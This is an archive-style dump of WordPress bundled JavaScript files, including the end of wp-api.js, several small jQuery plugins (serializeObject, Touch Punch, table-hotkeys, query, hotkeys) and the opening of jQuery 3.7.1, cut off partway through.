this.hasMore() ) { return false; } if ( null === this.state.currentPage || this.state.currentPage <= 1 ) { options.data.page = 2; } else { options.data.page = this.state.currentPage + 1; } } return this.fetch( options ); }, /** * Returns true if there are more pages of objects available. * * @return {null|boolean} */ hasMore: function() { if ( null === this.state.totalPages || null === this.state.totalObjects || null === this.state.currentPage ) { return null; } else { return ( this.state.currentPage < this.state.totalPages ); } } } ); } )(); ( function() { 'use strict'; var Endpoint, initializedDeferreds = {}, wpApiSettings = window.wpApiSettings || {}; /** @namespace wp */ window.wp = window.wp || {}; /** @namespace wp.api */ wp.api = wp.api || {}; // If wpApiSettings is unavailable, try the default. if ( _.isEmpty( wpApiSettings ) ) { wpApiSettings.root = window.location.origin + '/wp-json/'; } Endpoint = Backbone.Model.extend(/** @lends Endpoint.prototype */{ defaults: { apiRoot: wpApiSettings.root, versionString: wp.api.versionString, nonce: null, schema: null, models: {}, collections: {} }, /** * Initialize the Endpoint model. */ initialize: function() { var model = this, deferred; Backbone.Model.prototype.initialize.apply( model, arguments ); deferred = jQuery.Deferred(); model.schemaConstructed = deferred.promise(); model.schemaModel = new wp.api.models.Schema( null, { apiRoot: model.get( 'apiRoot' ), versionString: model.get( 'versionString' ), nonce: model.get( 'nonce' ) } ); // When the model loads, resolve the promise. model.schemaModel.once( 'change', function() { model.constructFromSchema(); deferred.resolve( model ); } ); if ( model.get( 'schema' ) ) { // Use schema supplied as model attribute. model.schemaModel.set( model.schemaModel.parse( model.get( 'schema' ) ) ); } else if ( ! _.isUndefined( sessionStorage ) && ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) && sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) ) ) { // Used a cached copy of the schema model if available. model.schemaModel.set( model.schemaModel.parse( JSON.parse( sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) ) ) ) ); } else { model.schemaModel.fetch( { /** * When the server returns the schema model data, store the data in a sessionCache so we don't * have to retrieve it again for this session. Then, construct the models and collections based * on the schema model data. * * @ignore */ success: function( newSchemaModel ) { // Store a copy of the schema model in the session cache if available. if ( ! _.isUndefined( sessionStorage ) && ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) ) { try { sessionStorage.setItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ), JSON.stringify( newSchemaModel ) ); } catch ( error ) { // Fail silently, fixes errors in safari private mode. } } }, // Log the error condition. error: function( err ) { window.console.log( err ); } } ); } }, constructFromSchema: function() { var routeModel = this, modelRoutes, collectionRoutes, schemaRoot, loadingObjects, /** * Set up the model and collection name mapping options. As the schema is built, the * model and collection names will be adjusted if they are found in the mapping object. * * Localizing a variable wpApiSettings.mapping will over-ride the default mapping options. * */ mapping = wpApiSettings.mapping || { models: { 'Categories': 'Category', 'Comments': 'Comment', 'Pages': 'Page', 'PagesMeta': 'PageMeta', 'PagesRevisions': 'PageRevision', 'Posts': 'Post', 'PostsCategories': 'PostCategory', 'PostsRevisions': 'PostRevision', 'PostsTags': 'PostTag', 'Schema': 'Schema', 'Statuses': 'Status', 'Tags': 'Tag', 'Taxonomies': 'Taxonomy', 'Types': 'Type', 'Users': 'User' }, collections: { 'PagesMeta': 'PageMeta', 'PagesRevisions': 'PageRevisions', 'PostsCategories': 'PostCategories', 'PostsMeta': 'PostMeta', 'PostsRevisions': 'PostRevisions', 'PostsTags': 'PostTags' } }, modelEndpoints = routeModel.get( 'modelEndpoints' ), modelRegex = new RegExp( '(?:.*[+)]|\/(' + modelEndpoints.join( '|' ) + '))$' ); /** * Iterate thru the routes, picking up models and collections to build. Builds two arrays, * one for models and one for collections. */ modelRoutes = []; collectionRoutes = []; schemaRoot = routeModel.get( 'apiRoot' ).replace( wp.api.utils.getRootUrl(), '' ); loadingObjects = {}; /** * Tracking objects for models and collections. */ loadingObjects.models = {}; loadingObjects.collections = {}; _.each( routeModel.schemaModel.get( 'routes' ), function( route, index ) { // Skip the schema root if included in the schema. if ( index !== routeModel.get( ' versionString' ) && index !== schemaRoot && index !== ( '/' + routeModel.get( 'versionString' ).slice( 0, -1 ) ) ) { // Single items end with a regex, or a special case word. if ( modelRegex.test( index ) ) { modelRoutes.push( { index: index, route: route } ); } else { // Collections end in a name. collectionRoutes.push( { index: index, route: route } ); } } } ); /** * Construct the models. * * Base the class name on the route endpoint. */ _.each( modelRoutes, function( modelRoute ) { // Extract the name and any parent from the route. var modelClassName, routeName = wp.api.utils.extractRoutePart( modelRoute.index, 2, routeModel.get( 'versionString' ), true ), parentName = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), false ), routeEnd = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), true ); // Clear the parent part of the rouite if its actually the version string. if ( parentName === routeModel.get( 'versionString' ) ) { parentName = ''; } // Handle the special case of the 'me' route. if ( 'me' === routeEnd ) { routeName = 'me'; } // If the model has a parent in its route, add that to its class name. if ( '' !== parentName && parentName !== routeName ) { modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ modelClassName ] || modelClassName; loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( { // Return a constructed url based on the parent and id. url: function() { var url = routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + parentName + '/' + ( ( _.isUndefined( this.get( 'parent' ) ) || 0 === this.get( 'parent' ) ) ? ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) : this.get( 'parent' ) + '/' ) + routeName; if ( ! _.isUndefined( this.get( 'id' ) ) ) { url += '/' + this.get( 'id' ); } return url; }, // Track nonces on the Endpoint 'routeModel'. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original route object. route: modelRoute, // Include a reference to the original class name. name: modelClassName, // Include the array of route methods for easy reference. methods: modelRoute.route.methods, // Include the array of route endpoints for easy reference. endpoints: modelRoute.route.endpoints } ); } else { // This is a model without a parent in its route. modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ modelClassName ] || modelClassName; loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( { // Function that returns a constructed url based on the ID. url: function() { var url = routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + ( ( 'me' === routeName ) ? 'users/me' : routeName ); if ( ! _.isUndefined( this.get( 'id' ) ) ) { url += '/' + this.get( 'id' ); } return url; }, // Track nonces at the Endpoint level. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original route object. route: modelRoute, // Include a reference to the original class name. name: modelClassName, // Include the array of route methods for easy reference. methods: modelRoute.route.methods, // Include the array of route endpoints for easy reference. endpoints: modelRoute.route.endpoints } ); } // Add defaults to the new model, pulled form the endpoint. wp.api.utils.decorateFromRoute( modelRoute.route.endpoints, loadingObjects.models[ modelClassName ], routeModel.get( 'versionString' ) ); } ); /** * Construct the collections. * * Base the class name on the route endpoint. */ _.each( collectionRoutes, function( collectionRoute ) { // Extract the name and any parent from the route. var collectionClassName, modelClassName, routeName = collectionRoute.index.slice( collectionRoute.index.lastIndexOf( '/' ) + 1 ), parentName = wp.api.utils.extractRoutePart( collectionRoute.index, 1, routeModel.get( 'versionString' ), false ); // If the collection has a parent in its route, add that to its class name. if ( '' !== parentName && parentName !== routeName && routeModel.get( 'versionString' ) !== parentName ) { collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ collectionClassName ] || collectionClassName; collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName; loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( { // Function that returns a constructed url passed on the parent. url: function() { return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + parentName + '/' + ( ( _.isUndefined( this.parent ) || '' === this.parent ) ? ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) : this.parent + '/' ) + routeName; }, // Specify the model that this collection contains. model: function( attrs, options ) { return new loadingObjects.models[ modelClassName ]( attrs, options ); }, // Track nonces at the Endpoint level. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original class name. name: collectionClassName, // Include a reference to the original route object. route: collectionRoute, // Include the array of route methods for easy reference. methods: collectionRoute.route.methods } ); } else { // This is a collection without a parent in its route. collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ collectionClassName ] || collectionClassName; collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName; loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( { // For the url of a root level collection, use a string. url: function() { return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + routeName; }, // Specify the model that this collection contains. model: function( attrs, options ) { return new loadingObjects.models[ modelClassName ]( attrs, options ); }, // Track nonces at the Endpoint level. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original class name. name: collectionClassName, // Include a reference to the original route object. route: collectionRoute, // Include the array of route methods for easy reference. methods: collectionRoute.route.methods } ); } // Add defaults to the new model, pulled form the endpoint. wp.api.utils.decorateFromRoute( collectionRoute.route.endpoints, loadingObjects.collections[ collectionClassName ] ); } ); // Add mixins and helpers for each of the models. _.each( loadingObjects.models, function( model, index ) { loadingObjects.models[ index ] = wp.api.utils.addMixinsAndHelpers( model, index, loadingObjects ); } ); // Set the routeModel models and collections. routeModel.set( 'models', loadingObjects.models ); routeModel.set( 'collections', loadingObjects.collections ); } } ); wp.api.endpoints = new Backbone.Collection(); /** * Initialize the wp-api, optionally passing the API root. * * @param {Object} [args] * @param {string} [args.nonce] The nonce. Optional, defaults to wpApiSettings.nonce. * @param {string} [args.apiRoot] The api root. Optional, defaults to wpApiSettings.root. * @param {string} [args.versionString] The version string. Optional, defaults to wpApiSettings.root. * @param {Object} [args.schema] The schema. Optional, will be fetched from API if not provided. */ wp.api.init = function( args ) { var endpoint, attributes = {}, deferred, promise; args = args || {}; attributes.nonce = _.isString( args.nonce ) ? args.nonce : ( wpApiSettings.nonce || '' ); attributes.apiRoot = args.apiRoot || wpApiSettings.root || '/wp-json'; attributes.versionString = args.versionString || wpApiSettings.versionString || 'wp/v2/'; attributes.schema = args.schema || null; attributes.modelEndpoints = args.modelEndpoints || [ 'me', 'settings' ]; if ( ! attributes.schema && attributes.apiRoot === wpApiSettings.root && attributes.versionString === wpApiSettings.versionString ) { attributes.schema = wpApiSettings.schema; } if ( ! initializedDeferreds[ attributes.apiRoot + attributes.versionString ] ) { // Look for an existing copy of this endpoint. endpoint = wp.api.endpoints.findWhere( { 'apiRoot': attributes.apiRoot, 'versionString': attributes.versionString } ); if ( ! endpoint ) { endpoint = new Endpoint( attributes ); } deferred = jQuery.Deferred(); promise = deferred.promise(); endpoint.schemaConstructed.done( function( resolvedEndpoint ) { wp.api.endpoints.add( resolvedEndpoint ); // Map the default endpoints, extending any already present items (including Schema model). wp.api.models = _.extend( wp.api.models, resolvedEndpoint.get( 'models' ) ); wp.api.collections = _.extend( wp.api.collections, resolvedEndpoint.get( 'collections' ) ); deferred.resolve( resolvedEndpoint ); } ); initializedDeferreds[ attributes.apiRoot + attributes.versionString ] = promise; } return initializedDeferreds[ attributes.apiRoot + attributes.versionString ]; }; /** * Construct the default endpoints and add to an endpoints collection. */ // The wp.api.init function returns a promise that will resolve with the endpoint once it is ready. wp.api.loadPromise = wp.api.init(); } )(); jquery/jquery.serialize-object.js 0000644 00000001401 15111757754 0013203 0 ustar 00 /*! * jQuery serializeObject - v0.2-wp - 1/20/2010 * http://benalman.com/projects/jquery-misc-plugins/ * * Copyright (c) 2010 "Cowboy" Ben Alman * Dual licensed under the MIT and GPL licenses. * http://benalman.com/about/license/ */ // Whereas .serializeArray() serializes a form into an array, .serializeObject() // serializes a form into an (arguably more useful) object. (function($,undefined){ '$:nomunge'; // Used by YUI compressor. $.fn.serializeObject = function(){ var obj = {}; $.each( this.serializeArray(), function(i,o){ var n = o.name, v = o.value; obj[n] = obj[n] === undefined ? v : Array.isArray( obj[n] ) ? obj[n].concat( v ) : [ obj[n], v ]; }); return obj; }; })(jQuery); jquery/jquery.ui.touch-punch.js 0000644 00000002233 15111757754 0012625 0 ustar 00 /*! * jQuery UI Touch Punch 0.2.2 * * Copyright 2011, Dave Furfero * Dual licensed under the MIT or GPL Version 2 licenses. * * Depends: * jquery.ui.widget.js * jquery.ui.mouse.js */ (function(b){b.support.touch="ontouchend" in document;if(!b.support.touch){return}var c=b.ui.mouse.prototype,e=c._mouseInit,a;function d(g,h){if(g.originalEvent.touches.length>1){return}g.preventDefault();var i=g.originalEvent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f)}c._touchStart=function(g){var f=this;if(a||!f._mouseCapture(g.originalEvent.changedTouches[0])){return}a=true;f._touchMoved=false;d(g,"mouseover");d(g,"mousemove");d(g,"mousedown")};c._touchMove=function(f){if(!a){return}this._touchMoved=true;d(f,"mousemove")};c._touchEnd=function(f){if(!a){return}d(f,"mouseup");d(f,"mouseout");if(!this._touchMoved){d(f,"click")}a=false};c._mouseInit=function(){var f=this;f.element.bind("touchstart",b.proxy(f,"_touchStart")).bind("touchmove",b.proxy(f,"_touchMove")).bind("touchend",b.proxy(f,"_touchEnd"));e.call(f)}})(jQuery); jquery/jquery.table-hotkeys.js 0000644 00000007250 15111757754 0012533 0 ustar 00 (function($){ $.fn.filter_visible = function(depth) { depth = depth || 3; var is_visible = function() { var p = $(this), i; for(i=0; i<depth-1; ++i) { if (!p.is(':visible')) return false; p = p.parent(); } return true; }; return this.filter(is_visible); }; $.table_hotkeys = function(table, keys, opts) { opts = $.extend($.table_hotkeys.defaults, opts); var selected_class, destructive_class, set_current_row, adjacent_row_callback, get_adjacent_row, adjacent_row, prev_row, next_row, check, get_first_row, get_last_row, make_key_callback, first_row; selected_class = opts.class_prefix + opts.selected_suffix; destructive_class = opts.class_prefix + opts.destructive_suffix; set_current_row = function (tr) { if ($.table_hotkeys.current_row) $.table_hotkeys.current_row.removeClass(selected_class); tr.addClass(selected_class); tr[0].scrollIntoView(false); $.table_hotkeys.current_row = tr; }; adjacent_row_callback = function(which) { if (!adjacent_row(which) && typeof opts[which+'_page_link_cb'] === 'function' ) { opts[which+'_page_link_cb'](); } }; get_adjacent_row = function(which) { var first_row, method; if (!$.table_hotkeys.current_row) { first_row = get_first_row(); $.table_hotkeys.current_row = first_row; return first_row[0]; } method = 'prev' == which? $.fn.prevAll : $.fn.nextAll; return method.call($.table_hotkeys.current_row, opts.cycle_expr).filter_visible()[0]; }; adjacent_row = function(which) { var adj = get_adjacent_row(which); if (!adj) return false; set_current_row($(adj)); return true; }; prev_row = function() { return adjacent_row('prev'); }; next_row = function() { return adjacent_row('next'); }; check = function() { $(opts.checkbox_expr, $.table_hotkeys.current_row).each(function() { this.checked = !this.checked; }); }; get_first_row = function() { return $(opts.cycle_expr, table).filter_visible().eq(opts.start_row_index); }; get_last_row = function() { var rows = $(opts.cycle_expr, table).filter_visible(); return rows.eq(rows.length-1); }; make_key_callback = function(expr) { return function() { if ( null == $.table_hotkeys.current_row ) return false; var clickable = $(expr, $.table_hotkeys.current_row); if (!clickable.length) return false; if (clickable.is('.'+destructive_class)) next_row() || prev_row(); clickable.trigger( 'click' ); }; }; first_row = get_first_row(); if (!first_row.length) return; if (opts.highlight_first) set_current_row(first_row); else if (opts.highlight_last) set_current_row(get_last_row()); $.hotkeys.add(opts.prev_key, opts.hotkeys_opts, function() {return adjacent_row_callback('prev');}); $.hotkeys.add(opts.next_key, opts.hotkeys_opts, function() {return adjacent_row_callback('next');}); $.hotkeys.add(opts.mark_key, opts.hotkeys_opts, check); $.each(keys, function() { var callback, key; if ( typeof this[1] === 'function' ) { callback = this[1]; key = this[0]; $.hotkeys.add(key, opts.hotkeys_opts, function(event) { return callback(event, $.table_hotkeys.current_row); }); } else { key = this; $.hotkeys.add(key, opts.hotkeys_opts, make_key_callback('.'+opts.class_prefix+key)); } }); }; $.table_hotkeys.current_row = null; $.table_hotkeys.defaults = {cycle_expr: 'tr', class_prefix: 'vim-', selected_suffix: 'current', destructive_suffix: 'destructive', hotkeys_opts: {disableInInput: true, type: 'keypress'}, checkbox_expr: ':checkbox', next_key: 'j', prev_key: 'k', mark_key: 'x', start_row_index: 2, highlight_first: false, highlight_last: false, next_page_link_cb: false, prev_page_link_cb: false}; })(jQuery); jquery/jquery.query.js 0000644 00000007156 15111757754 0011132 0 ustar 00 /** * jQuery.query - Query String Modification and Creation for jQuery * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com) * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/). * Date: 2009/8/13 * * @author Blair Mitchelmore * @version 2.2.3 * **/ !function(e){var t=e.separator||"&",l=!1!==e.spaces,n=(e.suffix,!1!==e.prefix?!0===e.hash?"#":"?":""),i=!1!==e.numbers;jQuery.query=new function(){function c(e,t){return null!=e&&null!==e&&(!t||e.constructor==t)}function u(e){for(var t,n=/\[([^[]*)\]/g,r=/^([^[]+)(\[.*\])?$/.exec(e),e=r[1],u=[];t=n.exec(r[2]);)u.push(t[1]);return[e,u]}function o(e,t,n){var r=t.shift();if("object"!=typeof e&&(e=null),""===r)if(c(e=e||[],Array))e.push(0==t.length?n:o(null,t.slice(0),n));else if(c(e,Object)){for(var u=0;null!=e[u++];);e[--u]=0==t.length?n:o(e[u],t.slice(0),n)}else(e=[]).push(0==t.length?n:o(null,t.slice(0),n));else if(r&&r.match(/^\s*[0-9]+\s*$/))(e=e||[])[i=parseInt(r,10)]=0==t.length?n:o(e[i],t.slice(0),n);else{if(!r)return n;var i=r.replace(/^\s*|\s*$/g,"");if(c(e=e||{},Array)){for(var s={},u=0;u<e.length;++u)s[u]=e[u];e=s}e[i]=0==t.length?n:o(e[i],t.slice(0),n)}return e}function r(e){var n=this;return n.keys={},e.queryObject?jQuery.each(e.get(),function(e,t){n.SET(e,t)}):n.parseNew.apply(n,arguments),n}return r.prototype={queryObject:!0,parseNew:function(){var n=this;return n.keys={},jQuery.each(arguments,function(){var e=""+this;e=(e=e.replace(/^[?#]/,"")).replace(/[;&]$/,""),l&&(e=e.replace(/[+]/g," ")),jQuery.each(e.split(/[&;]/),function(){var e=decodeURIComponent(this.split("=")[0]||""),t=decodeURIComponent(this.split("=")[1]||"");e&&(i&&(/^[+-]?[0-9]+\.[0-9]*$/.test(t)?t=parseFloat(t):/^[+-]?[1-9][0-9]*$/.test(t)&&(t=parseInt(t,10))),n.SET(e,t=!t&&0!==t||t))})}),n},has:function(e,t){e=this.get(e);return c(e,t)},GET:function(e){if(!c(e))return this.keys;for(var e=u(e),t=e[0],n=e[1],r=this.keys[t];null!=r&&0!=n.length;)r=r[n.shift()];return"number"==typeof r?r:r||""},get:function(e){e=this.GET(e);return c(e,Object)?jQuery.extend(!0,{},e):c(e,Array)?e.slice(0):e},SET:function(e,t){var n,r;return e.includes("__proto__")||e.includes("constructor")||e.includes("prototype")||(t=c(t)?t:null,n=(e=u(e))[0],e=e[1],r=this.keys[n],this.keys[n]=o(r,e.slice(0),t)),this},set:function(e,t){return this.copy().SET(e,t)},REMOVE:function(e,t){if(t){var n=this.GET(e);if(c(n,Array)){for(tval in n)n[tval]=n[tval].toString();var r=$.inArray(t,n);if(!(0<=r))return;e=(e=n.splice(r,1))[r]}else if(t!=n)return}return this.SET(e,null).COMPACT()},remove:function(e,t){return this.copy().REMOVE(e,t)},EMPTY:function(){var n=this;return jQuery.each(n.keys,function(e,t){delete n.keys[e]}),n},load:function(e){var t=e.replace(/^.*?[#](.+?)(?:\?.+)?$/,"$1"),n=e.replace(/^.*?[?](.+?)(?:#.+)?$/,"$1");return new r(e.length==n.length?"":n,e.length==t.length?"":t)},empty:function(){return this.copy().EMPTY()},copy:function(){return new r(this)},COMPACT:function(){return this.keys=function r(e){var u="object"==typeof e?c(e,Array)?[]:{}:e;return"object"==typeof e&&jQuery.each(e,function(e,t){if(!c(t))return!0;var n;n=u,t=r(t),c(n,Array)?n.push(t):n[e]=t}),u}(this.keys),this},compact:function(){return this.copy().COMPACT()},toString:function(){function u(e,t){function r(e){return(t&&""!=t?[t,"[",e,"]"]:[e]).join("")}jQuery.each(e,function(e,t){var n;"object"==typeof t?u(t,r(e)):(n=i,e=r(e),c(t=t)&&!1!==t&&(e=[s(e)],!0!==t&&(e.push("="),e.push(s(t))),n.push(e.join(""))))})}var e=[],i=[],s=function(e){return e+="",e=encodeURIComponent(e),e=l?e.replace(/%20/g,"+"):e};return u(this.keys),0<i.length&&e.push(n),e.push(i.join(t)),e.join("")}},new r(location.search,location.hash)}}(jQuery.query||{}); jquery/jquery.hotkeys.js 0000644 00000012761 15111757754 0011451 0 ustar 00 /****************************************************************************************************************************** * @ Original idea by by Binny V A, Original version: 2.00.A * @ http://www.openjs.com/scripts/events/keyboard_shortcuts/ * @ Original License : BSD * @ jQuery Plugin by Tzury Bar Yochay mail: tzury.by@gmail.com blog: evalinux.wordpress.com face: facebook.com/profile.php?id=513676303 (c) Copyrights 2007 * @ jQuery Plugin version Beta (0.0.2) * @ License: jQuery-License. TODO: add queue support (as in gmail) e.g. 'x' then 'y', etc. add mouse + mouse wheel events. USAGE: $.hotkeys.add('Ctrl+c', function(){ alert('copy anyone?');}); $.hotkeys.add('Ctrl+c', {target:'div#editor', type:'keyup', propagate: true},function(){ alert('copy anyone?');});> $.hotkeys.remove('Ctrl+c'); $.hotkeys.remove('Ctrl+c', {target:'div#editor', type:'keypress'}); ******************************************************************************************************************************/ (function (jQuery){ this.version = '(beta)(0.0.3)'; this.all = {}; this.special_keys = { 27: 'esc', 9: 'tab', 32:'space', 13: 'return', 8:'backspace', 145: 'scroll', 20: 'capslock', 144: 'numlock', 19:'pause', 45:'insert', 36:'home', 46:'del',35:'end', 33: 'pageup', 34:'pagedown', 37:'left', 38:'up', 39:'right',40:'down', 112:'f1',113:'f2', 114:'f3', 115:'f4', 116:'f5', 117:'f6', 118:'f7', 119:'f8', 120:'f9', 121:'f10', 122:'f11', 123:'f12'}; this.shift_nums = { "`":"~", "1":"!", "2":"@", "3":"#", "4":"$", "5":"%", "6":"^", "7":"&", "8":"*", "9":"(", "0":")", "-":"_", "=":"+", ";":":", "'":"\"", ",":"<", ".":">", "/":"?", "\\":"|" }; this.add = function(combi, options, callback) { if ( typeof options === 'function' ){ callback = options; options = {}; } var opt = {}, defaults = {type: 'keydown', propagate: false, disableInInput: false, target: jQuery('html')[0]}, that = this; opt = jQuery.extend( opt , defaults, options || {} ); combi = combi.toLowerCase(); // inspect if keystroke matches var inspector = function(event) { // WP: not needed with newer jQuery // event = jQuery.event.fix(event); // jQuery event normalization. var element = event.target; // @ TextNode -> nodeType == 3 // WP: not needed with newer jQuery // element = (element.nodeType==3) ? element.parentNode : element; if ( opt['disableInInput'] ) { // Disable shortcut keys in Input, Textarea fields var target = jQuery(element); if ( ( target.is('input') || target.is('textarea') ) && ( ! opt.noDisable || ! target.is( opt.noDisable ) ) ) { return; } } var code = event.which, type = event.type, character = String.fromCharCode(code).toLowerCase(), special = that.special_keys[code], shift = event.shiftKey, ctrl = event.ctrlKey, alt= event.altKey, meta = event.metaKey, propagate = true, // default behaivour mapPoint = null; // in opera + safari, the event.target is unpredictable. // for example: 'keydown' might be associated with HtmlBodyElement // or the element where you last clicked with your mouse. // WP: needed for all browsers // if (jQuery.browser.opera || jQuery.browser.safari){ while (!that.all[element] && element.parentNode){ element = element.parentNode; } // } var cbMap = that.all[element].events[type].callbackMap; if(!shift && !ctrl && !alt && !meta) { // No Modifiers mapPoint = cbMap[special] || cbMap[character] } // deals with combinaitons (alt|ctrl|shift+anything) else{ var modif = ''; if(alt) modif +='alt+'; if(ctrl) modif+= 'ctrl+'; if(shift) modif += 'shift+'; if(meta) modif += 'meta+'; // modifiers + special keys or modifiers + characters or modifiers + shift characters mapPoint = cbMap[modif+special] || cbMap[modif+character] || cbMap[modif+that.shift_nums[character]] } if (mapPoint){ mapPoint.cb(event); if(!mapPoint.propagate) { event.stopPropagation(); event.preventDefault(); return false; } } }; // first hook for this element if (!this.all[opt.target]){ this.all[opt.target] = {events:{}}; } if (!this.all[opt.target].events[opt.type]){ this.all[opt.target].events[opt.type] = {callbackMap: {}} jQuery.event.add(opt.target, opt.type, inspector); } this.all[opt.target].events[opt.type].callbackMap[combi] = {cb: callback, propagate:opt.propagate}; return jQuery; }; this.remove = function(exp, opt) { opt = opt || {}; target = opt.target || jQuery('html')[0]; type = opt.type || 'keydown'; exp = exp.toLowerCase(); delete this.all[target].events[type].callbackMap[exp] return jQuery; }; jQuery.hotkeys = this; return jQuery; })(jQuery); jquery/jquery.js 0000644 00001055226 15111757754 0007770 0 ustar 00 /*! * jQuery JavaScript Library v3.7.1 * https://jquery.com/ * * Copyright OpenJS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2023-08-28T13:37Z */ ( function( global, factory ) { "use strict"; if ( typeof module === "object" && typeof module.exports === "object" ) { // For CommonJS and CommonJS-like environments where a proper `window` // is present, execute the factory and get jQuery. // For environments that do not have a `window` with a `document` // (such as Node.js), expose a factory as module.exports. // This accentuates the need for the creation of a real `window`. // e.g. var jQuery = require("jquery")(window); // See ticket trac-14549 for more info. module.exports = global.document ? factory( global, true ) : function( w ) { if ( !w.document ) { throw new Error( "jQuery requires a window with a document" ); } return factory( w ); }; } else { factory( global ); } // Pass this if window is not defined yet } )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) { // Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1 // throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode // arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common // enough that all such attempts are guarded in a try block. "use strict"; var arr = []; var getProto = Object.getPrototypeOf; var slice = arr.slice; var flat = arr.flat ? function( array ) { return arr.flat.call( array ); } : function( array ) { return arr.concat.apply( [], array ); }; var push = arr.push; var indexOf = arr.indexOf; var class2type = {}; var toString = class2type.toString; var hasOwn = class2type.hasOwnProperty; var fnToString = hasOwn.toString; var ObjectFunctionString = fnToString.call( Object ); var support = {}; var isFunction = function isFunction( obj ) { // Support: Chrome <=57, Firefox <=52 // In some browsers, typeof returns "function" for HTML <object> elements // (i.e., `typeof document.createElement( "object" ) === "function"`). // We don't want to classify *any* DOM node as a function. // Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5 // Plus for old WebKit, typeof returns "function" for HTML collections // (e.g., `typeof document.getElementsByTagName("div") === "function"`). (gh-4756) return typeof obj === "function" && typeof obj.nodeType !== "number" && typeof obj.item !== "function"; }; var isWindow = function isWindow( obj ) { return obj != null && obj === obj.window; }; var document = window.document; var preservedScriptAttributes = { type: true, src: true, nonce: true, noModule: true }; function DOMEval( code, node, doc ) { doc = doc || document; var i, val, script = doc.createElement( "script" ); script.text = code; if ( node ) { for ( i in preservedScriptAttributes ) { // Support: Firefox 64+, Edge 18+ // Some browsers don't support the "nonce" property on scripts. // On the other hand, just using `getAttribute` is not enough as // the `nonce` attribute is reset to an empty string whenever it // becomes browsing-context connected. // See https://github.com/whatwg/html/issues/2369 // See https://html.spec.whatwg.org/#nonce-attributes // The `node.getAttribute` check was added for the sake of // `jQuery.globalEval` so that it can fake a nonce-containing node // via an object. val = node[ i ] || node.getAttribute && node.getAttribute( i ); if ( val ) { script.setAttribute( i, val ); } } } doc.head.appendChild( script ).parentNode.removeChild( script ); } function toType( obj ) { if ( obj == null ) { return obj + ""; } // Support: Android <=2.3 only (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ toString.call( obj ) ] || "object" : typeof obj; } /* global Symbol */ // Defining this global in .eslintrc.json would create a danger of using the global // unguarded in another place, it seems safer to define global only for this module var version = "3.7.1", rhtmlSuffix = /HTML$/i, // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' // Need init if jQuery is called (just allow error to be thrown if not included) return new jQuery.fn.init( selector, context ); }; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: version, constructor: jQuery, // The default length of a jQuery object is 0 length: 0, toArray: function() { return slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { // Return all the elements in a clean array if ( num == null ) { return slice.call( this ); } // Return just the one element from the set return num < 0 ? this[ num + this.length ] : this[ num ]; }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. each: function( callback ) { return jQuery.each( this, callback ); }, map: function( callback ) { return this.pushStack( jQuery.map( this, function( elem, i ) { return callback.call( elem, i, elem ); } ) ); }, slice: function() { return this.pushStack( slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, even: function() { return this.pushStack( jQuery.grep( this, function( _elem, i ) { return ( i + 1 ) % 2; } ) ); }, odd: function() { return this.pushStack( jQuery.grep( this, function( _elem, i ) { return i % 2; } ) ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); 